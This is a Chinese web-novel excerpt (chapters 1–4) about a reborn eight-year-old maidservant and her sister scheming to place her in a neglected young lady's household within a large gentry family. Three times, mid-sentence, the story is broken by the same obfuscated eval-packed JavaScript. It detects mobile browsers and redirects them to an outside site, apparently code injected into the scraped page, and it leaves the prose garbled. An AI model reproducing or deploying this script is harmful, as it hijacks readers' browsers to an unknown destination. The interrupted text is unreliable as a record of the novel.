《给重生的小姐当丫鬟》 1. 她姐王娘子打人 “刚出炉的炊肉饼，外脆里香，咬下去都是汁水，一口神仙都不换。” “河鱼河鱼，早上刚去永定河捞的，大娘瞧瞧，还有摸的虾子，便宜给你。” “姐儿，看看我家的烧鹅烧鸡？” 卖烧鸭的店是个走卖的小店，就摆在拐角，生意不赖，但凡手里有几个子的都舍得买上一点杂碎，也算荤腥。 “给我来半边烧鸡，要软边。”说话的姐儿穿着一身褐色的麻布，头上梳着垂丫髫，左手挎着一个暗沉的小竹篮，见店主剁好，她便拿出铜子递给他。 得了肉食，也就没什么要买的了。她顺着路拐了几道弯，入了两边都是高墙的巷子，很快就能瞧见她们下人出入的小门，那小门还守着两个老爹，专门看进出。 “南枝，这是又买了什么？”坡脚的周老爹伸长脖子打量，小竹篮没有盖布，上边的几把青菜以及鸡蛋很轻易就叫人看去了。 “老爹，我家您又不是不知道，还能买什么，也就混个饱。”南枝虽小，内里却不是真的小孩，自然不会随口说，“不和你说了，我还要回去做饭呢。” “去吧去吧。” 等瞧不见她了，那两个老爹就嘀嘀咕咕，什么“没了爹不容易”“那样泼辣的姐姐”。 李府有专门给下人住的偏僻院子，一来是不想空余的院子萧条，要有人气，二来，也免得下人们全都住在外头，管得松，借着主子的名头生事。 离院里还有几步路，南枝隐隐约约听见了嘈杂的声音，像是在吵架，再仔细辨别，其中一道正是她姐姐的！ “好你个烂了舌头的说嘴，姓刘的，你再说我家妹儿一句腌臜的话，老娘我撕烂你的嘴。” 南枝几步跑进去，正巧看见她姐扯着刘婆子的衣领，狠狠地扇了一个耳刮子，力道之大，把刘婆子头上唯一一根银簪子都震飞了出去。 “姐姐。”南枝过去拉了拉她姐衣角，她姐都没低头，而是紧盯着眼冒金星的刘婆子，吊着眉唬着脸地说道：“刘说嘴，你个老不死的，我爹娘是你能编排的吗？你觉着他们白费一条命？我可不这么想，在我心里，他们是本本分分的去了。倒是你，见天儿都在说这事，有不对的就跟我去主子那里，咱当着主子的面说个明白！” 她姐这么说，南枝自然不可能拆台，甚至还要帮着架火，她揉了揉眼睛，说：“刘婆子，我姐姐说得对，咱不懂的事就找主子替我们做主，你觉得对不？” 刘婆子被打了一巴掌，又被这姊妹俩共同挤兑了一番，心中有气，但也是个知道好歹轻重的，这事要是闹到主子那，定是自己没理被罚，正想着，那该死的大蹄子就把她往外拽，小蹄子也是可恶，还装模作样地扶她，实则掐她哩！ “等等，我，婆子我年纪大，见识多，不和你们算，快放开我。”她刚说完，就被一推，“咚”得摔倒在地，浑身散架了一般。 得了胜仗的王娘子高傲地“哼”了一声，她往四周瞧了一圈，有两家门缝开了，指不定偷看，“我王娘子就在这里说了，日后谁要是敢说我家的不是，尝尝我的巴掌还有拳头。南枝，走，咱家去弄吃食。” 等这姊妹俩进了自家的地儿，暗中看好戏的娘子婆子还有姐儿才出来，“我说刘婆子，你没事说人家小话做甚？还被那泼皮逮住了，好一顿白打。” “去去去。”刘婆子一瘸一拐地回了家，“彭”地关门。这巴掌白挨了，药油都要自个出，哎呦呦，疼。 哪里想到，她去给南枝说媒，那王娘子不同意把她赶出来。她气不过，说了两句，正正好被那王泼皮听见了，真是可恨。她说的难道不对，王家只剩下一个王泼皮还有一个才八岁的姐儿，日后有什么前程？ 现在有个人要南枝，王娘子也该偷笑了！ 她且看着她们落魄！ * “可恨，那刘婆子是受了夫人身边的陈妈妈指使，要给你说媒，想让你嫁给她小儿子，她那小儿子吃喝嫖赌样样精通，还与娼——”意识到南枝还小，王娘子止住了话头，“你莫担心，我今个用刘婆子讲咱家闲话的理由把她赶出去了，只是这已经是第二回说亲了，不知陈妈妈会不会迁怒我们。” 王娘子有些担心，她在老夫人那里当差，三等丫鬟，算不上得脸。也不是时常回来与南枝住，要是陈妈妈突然杀上门哄骗南枝，亦或是直接求夫人把南枝指给她儿子，那可怎么办？ “姐，你手疼不疼？”南枝不在意这些事，把小篮子放在四方桌上，又去捅咕泥炉子，使火星子撩拨大，烧点热水，好烫一烫碗筷。 “别说，还真有点，等会儿你给我捏捏。”王娘子也是个不知羞，顺着杆子往上爬。说完这句，又凑到泥炉子旁，挤着自个妹妹说：“南枝，先别弄这个，你听我说，我有重要的事跟你说。” “啥？”南枝头都没抬。 “与我一起做活的跟我说小话，夫人要给府里的公子姑娘选丫鬟，你是家生子，又这么机灵，回头一去，准选上。你要是伺候姑娘，有了名头，陈妈妈也不敢轻易算计你。”王娘子想得远，“到时候进了九姑娘五公子院里，我再给你使金银开路，你看准机会，保准能得个大丫鬟二等丫鬟当。” “不去。”南枝摇摇头，松垮垮的丫髻便跟着甩。额头上挨了一记，她就埋怨道：“别老是打我的头，长不高的。” “咋不打，道理比我这个当姐的都要多。南枝，你就听我的，是不是怕花银钱？别怕，反正家里的东西都是咱俩的，你花得值当就行。”说着，王娘子翻身下炕，准备去翻吊梁。 “不是，姐你慢点，听我说。”南枝内心触动，见炉子里的水开始冒气，就与她姐低声说：“要是让我选，我想去七姑娘院里当差。” “甚么？！”王娘子登时坐不住了，想敲傻妹妹的头，见她早已躲开捂着头，无法，只能恨恨地捶桌子，末了又吹吹手，“嘶，疼。” 顾不得旁的，她又拉着脸子压低声音说道：“我以前的话你都没记住是不是？七姑娘那儿是什么地儿你不清楚？去了哪里有前程可言，青竹轩没点生气，当差的只不过是拿月例银子，旁的赏赐一概没有，你去了那里只会被人欺负。” 府里的下人都看人下菜碟，主子不得宠，伺候她的下人就也少脸面。面上不会亏待，可内里学问多了去了，南枝要是进了青竹轩，只怕会被九姑娘院里的人欺压。 南枝明白她姐的顾虑，她胎穿来这个朝代，三年前觉醒了前世的记忆，随后通过明里暗里的打听知晓了李府的一些情况： 李府尚未分家，一大家子住在一起。李老太爷生了五个儿子三个女儿，其中两个嫡子三个庶子，女儿全部是庶出。而她与她姐的主子是嫡出的五老爷以及生七姑娘大出血没了的先夫人。五老爷，前几年刚考中了同进士，高不成低不就，闲赋在家。八年前娶妻，续娶的五夫人是发妻的嫡亲妹妹，进门不过一年就生了九姑娘还有五公子，龙凤胎，吉祥得很。 七姑娘就这样被彻底忽视，府里觉得她生来克母，不吉利，疼宠对比九姑娘差远了。一直到现在，七姑娘已经八岁了，可却父不疼娘不爱，就连得脸的婆子妈妈，待遇也比七姑娘好。 九姑娘住的的明月阁是香饽饽，多少姐儿娘子削尖了头想进去当差，但不包括南枝。她条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270888|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理清晰地说道：“姐，你忘了，咱们是先夫人的陪嫁，夫人不可能让我进五公子九姑娘院子的，那几个位置，早就被夫人带来的陪房的女儿妹妹看中了，还轮得到我？” 先夫人的陪嫁大多只领了清闲的差事，厨房、库房等等油水多或是经常露面的位子，那都是夫人陪房们紧紧霸着，断不可能出差错换人。 再说了，她好友青儿正是在明月阁当差，根据她透露的消息，明月阁不是一个好去处。 王娘子捶胸口，“我没个出息，不然也用不着你这个小人在想这些事。”自从娘没了，南枝就忽然长大了沉稳了，如今行事愈发周到。 “姐，别说这些，有事咱都商量着来，这才像一个家。”南枝说，水好了，她就一点点舀出来。 见她捣鼓碗筷，王娘子也不多说，只嘟囔道：“不知道你哪里学到的毛病，吃一次就烫一次，柴火不要钱？也就亏的现在是热的时候，要是冷了，我可不能依你。”话是这么说，可她从没阻止。 说罢，屋内沉寂下来，王娘子把篮子里的青菜鸡蛋拿出来，还有一些红薯土豆，精细的白面，最底下的烧鸡正渗油，丝丝缕缕的香气钻入鼻子，馋虫都被勾出来了。 炒个青菜摊个鸡蛋不费事，王娘子手脚麻利，姊妹俩便坐下预备动筷。 王娘子把鸡腿肉剃干净，然后两个碗分的一样多，“吃饭。” 等吃着了，南枝忽的听见她姐说：“你有主意，要是想进七姑娘院子，我也不阻拦，谋个出路，想必陈妈妈也忌惮三分。这样，这几日我去搜罗搜罗消息，打听青竹轩内里如何。” “好。”南枝轻声应了。她就知道，姐嘴硬心软，定会答应她。 给七姑娘当丫鬟是她深思熟虑过的，以她的情况，没做饭的手艺，去大厨房够不上。九姑娘五公子院子竞争大，听隔壁小翠说，会排挤她们这些先夫人的丫鬟，也不是她想去的。倒是七姑娘那，虽然平日里油水不多，可月例银子以及四节打赏从不缺，这就足够了！ 而且，当了差，也就没人敢一而再再而三上门骚扰她，姐姐也不用时时刻刻为她费心思。进了七姑娘的院子，与五夫人那边的丫鬟天然有了一层隔膜，陈妈妈也会顾虑几分，不敢强来。 当了丫鬟，她使劲儿往上拔尖，好歹有几分面子，自个的婚事能做主，不至于像水儿那样，到了十六就被夫人安排与一个小厮成家，盲婚哑嫁。 不过，这一切的前提是，一则七姑娘是个心里有数的主子，二则她能顺顺利利进了青竹轩。 用罢饭，王娘子上炕歇息，她在老夫人那儿的佛堂抄写佛经，平日里事情不多，得闲了就回来与妹妹住，反正她男人去了北边经营铺子，暂且回不来，也不用考虑他。 南枝把碗碟洗干净，又仔仔细细用热水泡了，这才放回四层的镶银柜子里。 家里东西不算多，一进门便是四方桌并两张圆木凳子，旧了，再往里一点就是一张贴墙的约两米的长炕，左边的炕边放着一张小几，其中一只脚垫了草纸免得摇动。小几上还放着一只竹编的笸箩，几团针线随意丢在里头。 左边就是梳妆台，同样是镶银有珠玉，镜子打磨光滑，看得很清晰。桌面上有护肤的油脂，洗头的澡豆，细细的木架子上搭着两张柔软的小棉布巾子，用来洗脸。靠门的位置摆了两个大木箱子，厚衣裳被褥什么的都收在里头。 进门靠左摆着泥炉子，木桶，锅碗瓢盆一应物什。 柜子、梳妆台并几样金贵物件，都是五老爷五夫人的赏赐——因着她爹娘救了五老爷。 小小的一间屋子，她与姐姐两个人住。 2. 打听七姑娘 过了三日，一众小丫头小哥儿被喊到正院，陈妈妈说了要给姑娘公子选丫头的事，不少十岁出头的丫头激动起来。 说起来，就南枝住的院子也有五六个年岁适合又还没有差事的姐儿哥儿，这回可热闹了。 青儿还没回来，南枝便不参与其他姐儿的谈话，左右不过是打听，又或者是提前傍上谁，她对这些不感兴趣。 * 南枝虽然小，但作为家生子，也不是没活干。 七日后是老太爷的生辰，各处丫鬟不是贴身伺候的，皆统一分配清扫府里。她姐怕她受针对，使关系跟她分到一起。李府拢共分为六个大院子，老太爷以及五个儿子各一个，其中又各自细分。唯有福寿堂与两个嫡子的院子够得上舒适宽敞，其余的不过是挤着住。 下人院更是挤的慌，一个院儿隔出来，住了十几家。 这会儿府里松泛起来，稍微杂乱，王娘子扭了扭手腕，打量来监工的老爹走了，便低声与南枝嘀咕：“我去那边找何娘子，要是有人问起，你就说何娘子寻我问事。” “嗯。”南枝点头，何娘子是花房的管理，闲人一个，与她姐是手帕交，经常一起玩儿。 正低头擦着花盆儿，旁边忽的有人喊了她一声，“南枝。” 她抬头，见住在隔壁院儿的春杏撇下扫帚，在她身边蹲下，“你咋一个人，你姐刚不还在这儿？” “闹肚子，家去了。”一瞧春杏眼珠子滴溜的模样就知道她没安好心，南枝余光瞧见墙角底下的春杏娘，自然张口就扯谎，“快些干吧，等会儿管事回来看见，要挨骂。” 春杏撇撇嘴，想起老子娘交代的事，继续道：“你就是胆子小，那么多婆子躲别处去了，你怕个甚。南枝，我看你也要练练胆子，不然往后当差，哪个要你。” 当差？南枝倒是知道了她为什么找她了。春杏老子和娘也是先夫人的陪房，她能去当差的地儿就被限制了。仔细回想一下，春杏比她大四岁，如今十二有余，却是个懒怠的憨货，先前找不着好差事干，现在么，倒是有机会谋个好去处了。 心思百转，短短几息南枝就弄明白了春杏的目的，刚那话术恐怕也是她娘赵大娘教的。 “我姐说要多留我几年，让我不要急着当差。”南枝边说边低下头，一副任姐做主的窝囊模样。 旁边的春杏翻了一个白眼儿，就没见过这样的姐儿，要是没有好差事也就算了，在家躺着也舒坦。可夫人给几位公子选丫鬟，这顶顶好的差事她居然一点子想法都没有？真是多余来寻她！ 刘婆子来过两回，没遮掩，大家都知道。她娘还教她问南枝的婚事，春杏是姐儿，到底面皮薄，没好意思问出口。 谈话不欢而散。 南枝得了清净，等预备下值，她姐就不紧不慢地回来了，拿起墙边的扫帚做虚活，不消多久，监工的管事便来了，捻着胡子查看了，随后点头，“不错，散了吧。” 现在还算早，天才刚擦黑，南枝提着小篮子跟着她姐去了大厨房领口粮，从今天起的七日内，她也能吃上大厨房厨娘做的三餐。 晚餐是一人一碗浓稠的肉糜粥，两个白菜包子。到家关上门，王娘子又开始骂了，小小声：“也太抠搜了，这两个包子加起来都没有我的一个拳头大，还是素菜，一点荤香都没有。” “姐，咱摊两个鸡蛋？”要不说是两姊妹，跟王娘子一样，南枝也嘴刁，三餐都得吃好。她给小泥炉生火，王娘子就打鸡蛋搅散，两人配合默契。 下人院子里没有厨房，各家要是想烧水做些吃食，就只能在泥炉上少少弄一些，像南枝她家，小泥炉一次性只能煎两个鸡蛋。 王娘子煎蛋，南枝就去柜子里拿出两个罐罐，小心打开，里头蹦出香味，都是小菜，一道是腌制的酸菜，一道是酸萝卜，都是她姐的好手艺，咋吃都香。 两人吃饭也没有食不言寝不语的规矩，南枝就把今日春杏找她的事说了，还补充道：“怕是她娘让她来问我，我只说你不让我去。” “成，反正在你有差事之前，你就这么说。至于春杏……”王娘子轻声“哼”道：“是怕你跟她抢呢，这都蹬到面上来问了，真把咱都当蠢虫？” “不过我瞧着她想走她姐姐的路，当哪位公子的小妾姨娘呢。” 南枝与春杏差着几岁，加之春杏老是吊高眼看人，故而她们没什么接触，倒是春杏的姐姐春兰，她见过几回，还会笑着分她糖块。 “依我看，最可能的是五公子。”王娘子猜测，五公子今年六岁，院里还没有多少丫鬟，现在这个机会进去了，谋划一番，也能有点地位。 “以后你少理她，免得又来套你话。和隔壁青儿小翠玩，她俩有点眼力见，不怕把你带蠢。” 南枝腮帮子嚼着，淡定地说道：“她套不了。” “不愧是我的妹妹。”厚脸皮王娘子应了，有时又惊讶她的早慧，感慨过后她讲起打探到的消息，“方才我可找了几个相好，给你问到了一些事儿。” “青竹轩的管事是七姑娘的奶妈妈，吴妈妈，管着整个院儿，大到库房小到各处的扫洒，气派得很。往下就是两个大丫鬟，其中一个就是吴妈妈的女儿，也是七姑娘的奶姐姐，在所有丫鬟中，属她面儿最大。二等三等也都齐活了，就是最末的四等还有两个位子。不过干的都是打扫这那或者是倒夜香的事儿，辛苦着呐。” “说来也怪，你说七姑娘不受宠，可五老爷生的公子姑娘中，也就七姑娘是小时候就备齐了丫鬟的，可若是受宠，平日里也不见有多照顾。”别看王娘子平日里接触不到正院与几位姑娘，可也不是蠢人，心里明镜一般，以前不关心，如今细细一琢磨也有了自个的想法，她说道：“七姑娘小小的一个就有了恁多丫鬟，她现在大了，不听她的肯定也有。妹儿，那也不是个好去处，将来你要是进了青竹轩，咋出头？” 当初她想让南枝去九姑娘院里，就是因为九姑娘那儿二等三等丫鬟都有空缺。 南枝想着，放下碗筷慢慢说道：“依姐姐说的，犯错的人走了，我不就有好位置了？”只不过还得打探七姑娘的性子，如果是个怯懦的，她去了也无甚作为。 要是七姑娘也不满某些人，这不就是大好的机会？ “今儿我也打探了七姑娘，没甚收获。”王娘子没觉着南枝的话哪里不对，她妹妹哪哪都好，自然值得一个好位置！ 可太难知晓七姑娘的消息了，除了初一十五每日给偏瘫的老太爷与常年生病的老夫人以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270889|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及五夫人请安以外，这位姑娘很少出门，哪怕出去走走，不过一刻钟又会回青竹轩，甭说是她，就连经常去青竹轩送花的何娘子也才见过她几面。 至于她的品性如何，这还真没有几个人知道。不像九姑娘十姑娘，一个喜欢喂鱼，经常去鲤鱼池玩，一个喜欢看书，常得五老爷夸赞。 “你甭急，给我几天，给你刺个清楚。” “慢点也成。”南枝不想她姐有太大的压力，却又没有打消她的斗志，不然她姐该焦虑了。 * 却说王娘子这头得了事儿，那头就请相好何娘子家来吃酒，也不摆在四方桌上，而是取了小几，添置几样饭菜，再备上一角浊酒，两人胡吃海喝，很快就都面红耳赤，已然醉意不浅。 “何娘子，我是真心心疼你啊，花房里也没个人帮你，最近又忙，你一个人搬花，我又不能时常去帮你，这真是……” “可不是，王妹子，你这话讲的很对。我说是花房管事，可花房拢共也就我这个娘子，手底下没个人，有时肚子疼家来，不巧正被主子抓个正着，你说我倒不倒霉。”几杯酒下肚，何娘子一吐为快。 府上有大花房，里头当差的人不少。不过五夫人喜欢花，就单独在五院开了一个花房，方便侍弄花朵。 只这个花房独有何娘子一个光杆管事。 王娘子便扯过南枝，说道：“我见你也没个身边人，你要是不嫌弃，我让南枝作你干妹妹，以后给你养老，如何？” “姐姐，吃酒。”南枝提酒壶给何娘子倒酒，端的是乖巧。 这个朝代认干亲可不是随随便便说说而已，而是摆了酒席，正经下跪。礼成之后，老的提携小的，小的日后还要养老的，正正经经的亲人。 何娘子眯眼睛瞧着她，却没有第一时间答应，只说：“我要回去瞧瞧有没有大礼才成，过几日给你个准信。”口齿清晰，可没有一丝醉的模样。 王娘子也不急，这也不是她的目的，她瞧了南枝一眼，南枝自然知道何意，上前给何娘子夹菜，又捏腿，“娘子，不若我去花房给您当个跑腿？重的花我搬不动，可要是有轻的，我还能帮您跑一趟哩！” 她这样说，是因为王娘子打听到青竹轩最喜轻飘飘的盆栽，送过去的花不消多少泥来养花，只需要多的花瓣，故而连花带盆都很轻。 “你就许了她吧，也好瞧瞧她够不够心性当你干妹妹，左右你又不亏。”这下子轮到王娘子在一旁敲边鼓。 何娘子想了想，同意了。 “看你面子上，允了。你可不能给我闯祸。” “定不能，我都听您的。”南枝笑得甜滋滋，看着就不像个调皮的姐儿。 事情办成，王娘子放下心来，倒畅快地喝了几杯。何娘子一瞧，好你个王泼皮，就知道你装醉哄我！ 这么想着，却也没有放下酒杯，而是指使南枝给她烫酒，舒舒服服地半躺着吃酒。 好不快活！ 翌日，南枝照样跟着她姐擦拭物件，等到下午得闲了，才往花房去。 还没到花房，就看见一个穿金戴银的姐儿站在门口，那样子，好不高傲。 “这些花还不送去青竹轩，七姑娘怪罪下来，你可吃罪不起。” 3. 软性子的七姑娘 何娘子脸上堆着笑，直说：“茯苓姐姐，我这花房也没个让你坐的地儿，劳你站在这儿选一选，看七姑娘要什么花，我马上送过去。” 茯苓也不客气，手指一点，顿时就要了十几盆，“除了这些，还有那盆绿牡丹也要。” “哎呦茯苓姐姐，这绿牡丹是要送去正院的，陈妈妈早就点了，你看是不是换一盆？红牡丹也不错，架子上这几盆刚开花，鲜艳着呢。” “算了，不要这个，就把我刚说的送去，快些。”茯苓被驳了话，脸臭，丢下一句话就出了花房。 她走的是另外一边，与南枝不冲突，两人没有打照面。 “何娘子。”南枝喊她，又小跑进去帮她抬着花盆，“您仔细着。” “南枝啊，你来的正好，青竹轩要花，可我等下还要去正院，要不，你替我跑两趟？”何妈妈有自己的心思，茯苓狗眼看人，她不想去青竹轩见她，再受一顿指使，二来，也正好考验考验南枝，瞧她行事。 南枝想了想她姐正得了半日歇息，说道：“好，我叫上我姐姐，她力气大搬得多。” “去吧。”何娘子给她指了要送的花，随后自个捧着两盆开得正艳的绿牡丹，扭着腰往正院去了。 “也不知这一趟能不能得个赏。”王娘子从小干习惯了粗活，一手就拿三四盆，还嘀咕南枝，“等会儿咱机灵点，好话不怕说，哪怕见不着七姑娘，也得得个好。” 这去一趟，多少也能见一见青竹轩的丫鬟们，要是都不好相处，她可不能让南枝去闯那遭罪的地。 “成。”南枝一边应一边把泥土扒拉到花盆边，泥土还微微湿润，贴在花盆边，一时间掉不了。 青竹轩位于鲤鱼池附近，带了几分潮湿，加上院子里种着一片竹子，故而一进院门，一股凉意伴着风吹过来。 “王娘子？你们来干什么？”青竹轩不小，除了正屋以及东西两个厢房以外，竹林边还有一个亭子，眼下亭子里正有几个姐儿在忙上忙下，给亭子扎纱幔，估摸着是给七姑娘避暑。叫住她们俩的就是在亭子台阶上监工的丫鬟，比起茯苓，她只穿戴了银饰，身上料子也算不得好。 王娘子赶忙说道：“我们来送花给七姑娘，劳你请示七姑娘，这些花摆在哪里？” “不用客气，随我来。”她说，“王娘子你手上的这些就摆在廊道旁，这几盆留着，摆在亭子里。”她对王娘子很客气，认得她是老夫人身边的人。 “至于这盆就给我。”她刚想伸手拿，一直不说话的南枝却躲开了，还低眉顺眼地解释道：“姐姐，这盆花儿开得正好，需要泥才能养的好，故而这盆泥巴多了一些。这盆边沾到了一些泥，怕弄脏你的衣裳，还是我来吧。” 花盆边的确有不明显的泥土，那丫鬟也就不说什么了，而是开了门，说道：“七姑娘正睡着，你动静小点，把这盆放进外头榻子的矮几上就成。” 这反倒奇怪了，她不带路吗？ 王娘子瞅了南枝的背影一眼，生怕她自个进去吃亏了。 南枝一进去就抬眼打量，绕过多宝阁，一张美人榻正靠在窗边，从冰裂纹窗棂看出去，几个姐儿正沉默着搭轻纱。美人榻旁挂着一席珠玉门帘，若隐若现中，能瞧见床幔。 许是有了动静，美人榻上侧躺着的人直起半边身子，拧着眉呵斥道：“不是说不让进来？话都听到哪里去了？” “茯苓姐姐，我是花房来送花的，外头的姐姐说，这花要放在矮几上。”南枝有些诧异，她本以为茯苓这么嚣张是仗着七姑娘的宠爱，可现实好似不是，她这副做派，给人的感觉倒像姑娘。 “哼。”茯苓被搅和了睡梦，气还没消，有意为难这个脸白嫩的姐儿，不叫她放着花，就捧着。自顾自倒茶喝，又明晃晃地投去不算友好的目光，见她还未长开就已然有了貌美的模样，心中更是嫌恶。 南枝却在思量，看茯苓的样子就能联想到她娘吴妈妈有多嚣张了，要是青竹轩是这两母女把着，不就说明七姑娘性子软？要知道奶妈妈还有大丫鬟，以后大概率跟着七姑娘出嫁，要是七姑娘被压着一辈子，那她进青竹轩解决了目前的困难，将来呢？ 她低着头，给茯苓一种沉稳的感觉，登时，她就摆摆手，吩咐道：“搁这吧，你可以走了。” “好。”南枝正放下花盆，预备离开。后头的珠帘就传来声音，软绵绵的，“茯苓，有什么事，是谁来了？” 茯苓面色如常，下榻之后就撩起珠玉帘子，不过片刻，就扶着七姑娘出来。 “不是让你走了吗？” 南枝只嗅到了一股清淡的梨子香的味道，余光就瞧见了一抹白裙拂过，七姑娘坐在了美人榻上，她就恭恭敬敬地对着七姑娘说道：“没有七姑娘吩咐，我不敢走。” “这花很漂亮，茯苓，不若赏她一些东西？我那对莲花银簪子倒好看，给了她罢。”七姑娘说话很轻柔，只是语气却不是直截了当的吩咐，而是与茯苓有商有量，看着不大像主仆。 “姑娘，你忘了过几日老太爷生辰？那莲花簪子寓意好，过几日戴正合适。这丫头来了一回，说不得就会来第二回，不如下次再一并赏她。”茯苓边说边走，多宝阁上窄下宽，窄宽衔接的中间往外延伸了一个细长的面儿出来，像一张长方形的桌子，上边有几样精巧的物件。靠边摆着一个赤金暖炉，她打开暖炉，从里头端出来一碟子东西，回到七姑娘身边，说道：“姑娘，这是一直烘着的栗子糕，香甜软糯，就把这个给她吧？” “也好。”七姑娘没说别的，茯苓就笑着把栗子糕塞进南枝手里，“姑娘发话了，你自己出院子吧。” 南枝再次曲膝，“谢七姑娘赏。” 等出了门，南枝径直往亭子走去，方才在里头她就看见了，她姐竟都与丫鬟们聊起来了。 “各位姐姐，七姑娘让我们走了。”南枝暗自记下这几个丫鬟，与她姐出了青竹轩，四下无人时，就见她姐揉着腰捶着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15270890|166622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背，一副累坏了的样子。 领了晚饭回到家，南枝就说，“姐，你歇歇，我蒸个葱花蛋，然后帮你捏捏。”她知道今日要不为了她，她姐也用不着在青竹轩那般出力。 “那你快些，一直弯腰，比搬木架子还累。 ”王娘子瘫在炕上，狠狠灌了几杯水，这才说起青竹轩的丫鬟们，“一个两个安静着呢，也不知在怕啥，寻常说话都小心。诶对了，你今儿进去，咋拿了糕点出来？我听何娘子说，她去十回也才得一回东西，还是吃剩的露子或者半个果儿。” 糊弄谁呢？半个果儿不值什么，何娘子一年到头不得什么赏赐，可光靠月例，那还是买得起果子吃的。 “我认识的曾娘子，说最不喜帮青竹轩做菜，事情多，又没赏。”说着，见妹妹泡了一壶碎茶叶，王娘子捏了一块栗子糕，先是闻闻，又慢慢吃，最后又自斟自饮，喝了一杯茶。 “姐，我今儿……”南枝尽数说了，“七姑娘还想赏我银簪子，被茯苓阻止了，我看，七姑娘性子软。”说不定那些抠搜的名声都是身边的丫鬟搞出来的事。 “真是可恶。”王娘子咬牙切齿，“一根银簪子，定不是空心，得值多少。” 南枝把饭菜摆好，犹豫起来，要是七姑娘不能自个做主，那她进院子里，论前程，跟进九姑娘院子有什么区别？ 一样是要给人欺负。只不过两个院子里，挨针对的根源不一样罢了。 宁可跟一个明事理心狠的主儿，也不愿意跟优柔寡断的糊涂蛋，指不定多受气。她是想要解决陈妈妈说亲的事，但也不是不顾将来，总要都顾及才好。走一步，看十步。 这时，王娘子先前的心思又活泛起来，“要不，还是进九姑娘院里？” “像陈婆子的孙女，伺候九姑娘沐浴更衣，除了拿定例，每个月还有额外的赏赐，不差。往后要是不得宠够不上陪嫁，那就更好了，咱就老老实实呆在李府，我给你招个婿，孩子跟你姓，香火就传下去了。”在王娘子看来，这就是平安顺遂的一生了。 “姐，咱再看吧。”南枝与九姑娘接触过两回，她嚣张跋扈得很，不顺心就会打骂身边的大丫鬟，而她的丫鬟，又喜欢欺负下边的人。 “哪儿都算不得顶顶好。”王娘子叹气，她也不想妹妹给人欺负，可她现在八岁了，不趁此机会进姑娘的院子，往后就难了。 “姐，我等会儿去问问隔壁的青儿小翠，看七姑娘九姑娘院里到底如何。”南枝说，娘子妈妈们有交际，她与姐儿们也有交际。 这回她亲眼见过七姑娘了，如此再去询问旁人，也就能听得出真话赖话，不至于莽撞相信了他人。 相识归相识，南枝与青儿小翠关系算好，但还是照着理智行事，如此才不容易被糊弄。 “花房你还是要继续去，保不齐又有机会亲眼见七姑娘，瞧瞧下回她是不是和这回一个模子。”王娘子提醒，她到底经验丰富，“我也会帮你打听，咱两头使劲儿！” 4. 生辰 三日后，响午。 南枝从厨房回来，瞅准了青儿在家的机会，还特意帮青儿提了她家的篮子。青儿一家八口，她是家里最小的妹妹，在九姑娘院里当差。 青儿正预备去领口粮，见她拿了，跑着出来接，“你看看你额头的汗，何苦费这个心，我只是风寒，又不是干不了。” “拿着吧，今儿过来我这边吃咋样？我娘做的咸鸭蛋，送粥最好吃。” “成。”青儿跟了过去，待听见南枝说起送花时挨了欺负，她就跟着说，“这算什么，要是在明月阁，光折腾的法子就有十几种，捧着香炉一两个时辰，钝钝的棍子捅脚底，大冬天跪在风口，热天就闷在帐帘子里……全是不会在身上留印子的法子。” 折磨人，可又不致死。 “不是九姑娘的意思，她只说要罚人，自有身边的丫鬟给她出主意。” 南枝吃了一惊，她没听过这些内里的事情，她姐干了恁多些年，也只知道九姑娘花样多，明面上的打骂也有，但不重。 “这，可是夫人？”南枝话讲了一半，青儿意会，又与她玩了几年，了解南枝为人，不是碎嘴子，便压低声音说道：“夫人下了命令，不准这些事外传，伤了的人七天内不准出明月阁，对家那边，就说得主子恩惠，留着过夜。对受了罚的，哪个敢泄露，一家子发卖。” 如此两头压着。 虽然不让说，可受了委屈，真的就不会向家里人诉苦么？青儿才不相信哩！ 南枝顿时心情复杂，她们本就是奴婢，又长时间被压逼，只怕都麻木了。 “那你还好吗?”她语气里带了着急，生怕青儿吃亏。 “你别担心，我倒没被罚过。”青儿站起身转了一个圈圈，解释道：“瞧我，什么事没有。我本就是因为毽子踢得好才进了明月阁，领着四等的月例，不受重视，九姑娘也只有想踢毽子了才叫我，我平日里也就干些杂活。” 在明月阁，不拔尖才好哩。 “南枝，你要是想当差，千万别进明月阁。”青儿与她相识几年，不忍见她踩进坑里。何况南枝比她还小三岁，怎么能被磋磨呢？ 这回夫人大张旗鼓的给公子姑娘们选丫头，不知情的丫头们可都比着明月阁以及公子们的院子使劲儿。 “青儿，青儿。”南枝没透露自己的想法，正想含糊过去，就听闻外头有人找青儿。 